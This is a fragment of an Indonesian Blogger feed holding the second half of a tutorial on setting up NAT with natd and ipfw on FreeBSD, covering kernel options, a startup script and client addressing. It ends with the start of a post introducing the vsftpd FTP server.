nomor IP asal paket dengan nomor IP dirinya yang valid&lt;br /&gt;3. Menetapkan nomor port khusus untuk paket yang dikirim keluar, memasukkannya dalam tabel translasi dan menggantikan nomor port asal tersebut dengan nomor port khusus ini.&lt;br /&gt;Ketika paket balasan datang kembali,  Natd mengecek nomor port tujuannya. Jika ini cocok dengan nomor port yang khusus telah ditetapkan sebelumnya, maka dia akan melihat tabel translasi dan mencari mesin mana di jaringan internal yang sesuai. Setelah ditemukan, ia akan menulis kembali nomor port dan  IP address tujuan dengan IP address dan nomor port asal yang asli yang digunakan dulu untuk memulai koneksi. Lalu mengirim paket ini ke mesin di jaringan internal yang dituju. Natd memelihara isi tabel translasi selama koneksi masih terbuka.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uk6ho0aKuDg/S4SwDgSgXgI/AAAAAAAAAOU/zp-fblGHpgE/s1600-h/nat.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 289px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/S4SwDgSgXgI/AAAAAAAAAOU/zp-fblGHpgE/s400/nat.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5441667824024051202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perbedaan dengan sistem Proxy&lt;br /&gt;&lt;br /&gt;Hampir mirip dengan NAT, suatu jaringan kecil dengan proxy bisa menempatkan beberapa mesin untuk mengakses web dibelakang sebuah mesin yang memiliki IP address valid. Ini juga merupakan langkah penghematan biaya dibanding harus  menyewa beberapa account dari ISP dan memasang modem &amp; sambungan telepon pada tiap mesin.&lt;br /&gt;Namun demikian, proxy server ini tidak sesuai untuk jaringan yang lebih besar. Bagaimanapun, menambah hard disk dan RAM pada server proxy supaya proxy berjalan efisien tidak selalu dapat dilakukan (karena constraint biaya). Lagi pula, persentase web page yang bisa dilayani oleh cache proxy akan makin menurun sejalan dengan semakin menipisnya ruang kosong di hard disk, sehingga penggunaan cache proxy menjadi tidak lebih baik dari pada sambungan langsung. Tambahan lagi, tiap koneksi bersamaan akan  meng-generate proses tambahan dalam proxy. Tiap proses ini harus menggunakan disk I/O channel yang sama, dan saat disk I/O channel jenuh, maka terjadilah bottle neck.&lt;br /&gt;NAT menawarkan solusi yang lebih fleksibel dan scalable. NAT menghilangkan keharusan mengkonfigurasi proxy/sock dalam tiap client. NAT lebih cepat dan mampu menangani trafik network untuk beribu-ribu user secara simultan.&lt;br /&gt;Selain itu, translasi alamat yang diterapkan dalam NAT, membuat para cracker di Internet tidak mungkin menyerang langsung sistem-sistem di dalam jaringan internal. Intruder harus menyerang dan memperoleh akses ke mesin NAT dulu sebelum menyiapkan serangan ke mesin-mesin di jaringan internal. Penting di ketahui bahwa, sementara dengan NAT jaringan internal terproteksi, namun untuk masalah security, tetap saja diperlukan paket filtering dan metoda pengamanan lainnya dalam mesin NAT.&lt;br /&gt;&lt;br /&gt;Contoh Kasus Installasi Natd&lt;br /&gt;&lt;br /&gt;Sebuah perusahaan kecil memiliki sejumlah komputer dan sambungan ke Internet. Komputer-komputer itu saat ini telah membentuk suatu LAN. Sambungan Internet-nya diasumskan berupa dedicated T1 link&lt;br /&gt;&lt;br /&gt;Langkah-langkah yang harus dilakukan&lt;br /&gt;&lt;br /&gt;1. Installasi FreeBSD&lt;br /&gt;&lt;br /&gt;Sediakan satu komputer untuk dijadikan Gateway. Penulis menyarankan penggunaan FreeBSD RELEASE 2.2.6 (Natd hanya jalan di FreeBSD 2.2.1 ke atas), karena selain gratis juga requirement hardware-nya tidak terlalu boros. PC 486 dengan 16 MB memory dan HD 850 MB juga sudah cukup mewah.&lt;br /&gt;Untuk mengetahui proses installasi FreeBSD, silahkan baca kembali tulisan-tulisan di Infokomputer sebelumnya dan manual FreeBSD sendiri.&lt;br /&gt;&lt;br /&gt;2. Installasi Gateway&lt;br /&gt;&lt;br /&gt;Pasang 2 network interface agar mesin ini menjadi gateway. Network Card (misal NE2000 atau 3COM) satu dihubungkan ke jaringan internal dan satu lagi  untuk koneksi ke ISP. Misalnya dua-duanya NE2000 Compatible. maka nick untuk card yang menghadap ke dalam adalah ed0 dan untuk card yang menghadap keluar adalah ed1.&lt;br /&gt;Pastikan juga option gateway = ”YES” tertulis dengan benar dalam file rc.conf. Atau bisa juga dengan mengetik perintah: sysctl -w net.inet.ip.forwarding=1&lt;br /&gt;&lt;br /&gt;3. Installasi Firewall&lt;br /&gt;&lt;br /&gt;Pasang IP firewall di mesin FreeBSD ini. Caranya adalah :&lt;br /&gt;&lt;br /&gt;a. Edit kernel source di /usr/src/sys/i386/conf&lt;br /&gt;Tambahkan option-option berikut ini pada file kernel.&lt;br /&gt;&lt;br /&gt;options         IPFIREWALL&lt;br /&gt;options         IPFIREWALL_VERBOSE&lt;br /&gt;options         “IPFIREWALL_VERBOSE_LIMIT=100”&lt;br /&gt;options         IPDIVERT&lt;br /&gt;&lt;br /&gt;b. Compile kernel tersebut&lt;br /&gt;c. Aktifkan firewall di rc.conf dengan menambahkan&lt;br /&gt;&lt;br /&gt;firewall=”YES”&lt;br /&gt;firewall_type=”OPEN”&lt;br /&gt;&lt;br /&gt;4. Installasi Natd&lt;br /&gt;&lt;br /&gt; Langkah-langkahnya adalah sbb:&lt;br /&gt;a. Download source nya di ftp://ftp.suutari.iki.fi/pub/natd&lt;br /&gt;b. Unzip dan untar archive tersebut dengan perintah&lt;br /&gt;gzip -dc natd_1.12.tar.gz | tar -xvf -&lt;br /&gt;c. Lakukan make dan make install di direktori yang dihasilkan. Ketikkan perintah berikut:&lt;br /&gt;cd natd_1.12&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;d. Edit startup file supaya Natd berjalan secara otomatis&lt;br /&gt;Buat file natd.sh di /usr/local/etc/rc.d. Isi file tersebut adalah&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;        /sbin/ipfw -f flush&lt;br /&gt;        /sbin/ipfw add divert 13494 ip from any to any via ed0&lt;br /&gt;        /sbin/ipfw add pass all from 127.0.0.1 to 127.0.0.1&lt;br /&gt;        /sbin/ipfw add pass ip from any to any&lt;br /&gt;        /usr/local/sbin/natd -port 13494  -interface ed0&lt;br /&gt;&lt;br /&gt;Arti dari file ini adalah:&lt;br /&gt;v Hapuskan semua rule firewall&lt;br /&gt;v Tambahkan feature divert di port 13494 (Anda bisa mengganti ini dengan port yang Anda inginkan) untuk mendiversi paket dari dan ke gateway lewat interface ed0&lt;br /&gt;v Bolehkan semua paket lewat di atas local host&lt;br /&gt;v Bolehkan semua paket IP lewat semua interface&lt;br /&gt;v Jalankan Natd dengan menjadi daemon yang menunggu di port 13494 via interface ed0.&lt;br /&gt;&lt;br /&gt;e. Reboot mesin FreeBSD-nya supaya setting bisa diaktifkan.&lt;br /&gt;&lt;br /&gt;5. Konfigurasikan TCP/IP Client.&lt;br /&gt;&lt;br /&gt;Jadikan nomor IP card ed0 di FreeBSD sebagai gateway dari tiap workstation, IP tiap-tiap work station harus berada dalam network yang sama dengan card ed0 yang ada di mesin gateway. Misal ed0 di-beri nomor IP  192.168.1.1 dan ed1 167.205.19.5,  maka workstation diberi nomor IP  192.168.1.2 s/d 192.168.1.14 jika digunakan mask 16 atau 255.255.255.240. ed1 adalah interface yang memiliki IP address valid.&lt;br /&gt;&lt;br /&gt;Setelah semuanya langkah-langkah di atas dijalankan dengan baik maka, applikasi Internet di client siap dijalankan via NAT.&lt;br /&gt;&lt;br /&gt;Untuk kasus lain misalnya sambungan ke Internet-nya menggunakan modem, maka mekanismenya sama saja, tinggal diganti interface di gateway yang menghadap keluar dengan interface modem (tun0) dan jalankan program ppp untuk men-dial ISP-nya. Khusus untuk dial-out, ppp sebenarnya memiliki mekanisme sendiri untuk kasus ini yaitu dengan option -alias. Jadi jika kita menjalankan ppp dengan option -alias maka kita tidak perlu menjalankan Natd, karena option ini menyediakan fasilitas yang sama dengan Natd khusus untuk dial-out.&lt;br /&gt;&lt;br /&gt;Natd hanyalah salah satu cara untuk menghemat persediaan IP address yang semakin menipis. Dengan adanya fakta bahwa untuk bergabung ke Internet, host pencari informasi (Client) sebenarnya tidak perlu memiliki IP address legal, maka IP address legal tersebut bisa dicadangkan untuk host-host penyedia informasi (Server). Penelitian untuk terus memperbaiki performansi Internet ini masih terus dikembangkan. Sekarang ini juga sedang dikembangkan model IP versi baru yaitu IP versi 6 (IPv6), yang bisa menampung lebih banyak lagi komputer-komputer di Internet. Namun demikian untuk kondisi sekarang, Natd masih merupakan solusi ampuh sebelum IPv6 diterapkan.&lt;br /&gt;&lt;br /&gt;Referensi :&lt;br /&gt;&lt;br /&gt;- Douba, Salim. Networking UNIX, The Complete Reference for UNIX networks. SAMS Publishing. 1995 . Unix Integration to WAN:   Applied Computer Internetworking. CNRG ITB&lt;br /&gt;- FreeBSD Handbook. FreeBSD Inc.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-24084992404225403?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/24084992404225403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/24084992404225403'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/02/network-address-translation-nat-cara.html' title='Network Address Translation (NAT): Cara lain menghemat IP Address'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uk6ho0aKuDg/S4SwDgSgXgI/AAAAAAAAAOU/zp-fblGHpgE/s72-c/nat.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-2029953235612033062</id><published>2010-02-23T20:46:00.000-08:00</published><updated>2010-03-16T20:11:32.034-07:00</updated><title type='text'>Simple vsftpd</title><content type='html'>VSFTPD atau "Very Secure FTP Daemon" merupakan sebuah ftp server untuk UNIX-like systems dan juga linux. vsftpd disebut sebut sebagai sebuah ftp server yang secure dan cepat. Menurut pembuatnya, Chris Evans, seorang ahli keamanan jaringan, vsftpd merupakan server FTP yang stabil.  Selain itu, vsftpd dikembangkan di bawah licensi GNU.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Berikut beberapa Fitur vsftpd&lt;br /&gt;&lt;br /&gt;    * Virtual IP configurations&lt;br /&gt;    * Virtual users&lt;br /&gt;    * Standalone or inetd operation&lt;br /&gt;    * Powerful per-user configurability&lt;br /&gt;    * Bandwidth throttling&lt;br /&gt;    * Per-source-IP configurability&lt;br /&gt;    * Per-source-IP limits&lt;br /&gt;    * IPv6&lt;br /&gt;    * Encryption support through SSL integration&lt;br /&gt;    * dsb&lt;br /&gt;&lt;br /&gt;Ada beberapa alasan kenapa anda harus mencoba vsftpd&lt;br /&gt;&lt;br /&gt;   1. Sekuriti&lt;br /&gt;   2. Performance&lt;br /&gt;   3. Kestabilan&lt;br /&gt;&lt;br /&gt;Beberapa situs ternama termasuk situs FreeBSD menggunakan vsftpd, hal ini berdasarkan data dari situs http://vsftpd.beasts.org/ Data pada Juni 2004 menyebutkan bahwa beberapa site di bawah ini menggunakan vsftpd.&lt;br /&gt;&lt;br /&gt;    * ftp.redhat.com&lt;br /&gt;    * ftp.suse.com&lt;br /&gt;    * ftp.debian.org&lt;br /&gt;    * ftp.openbsd.org&lt;br /&gt;    * ftp.freebsd.org&lt;br /&gt;    * ftp.gnu.org&lt;br /&gt;    * ftp.gnome.org&lt;br /&gt;    * ftp.kde.org&lt;br /&gt;    * ftp.kernel.org&lt;br /&gt;    * rpmfind.net&lt;br /&gt;    * ftp.linux.org.uk&lt;br /&gt;    * ftp.gimp.org&lt;br /&gt;    * ftp-stud.fht-esslingen.de&lt;br /&gt;    * gd.tuwien.ac.at&lt;br /&gt;    * ftp.sunet.se&lt;br /&gt;    * ftp.ximian.com&lt;br /&gt;    * ftp.engardelinux.org&lt;br /&gt;    * ftp.sunsite.org.uk&lt;br /&gt;    * ftp.isc.org&lt;br /&gt;&lt;br /&gt;So tunggu apa lagi, tidak ada alasan untuk tidak mencoba vsftpd sebagai FTP server anda.&lt;br /&gt;&lt;br /&gt;Berikut ini tahapan singkat untuk memulai mencoba vsftpd.&lt;br /&gt;&lt;br /&gt;Langkah pertama, login ke server freebsd anda 
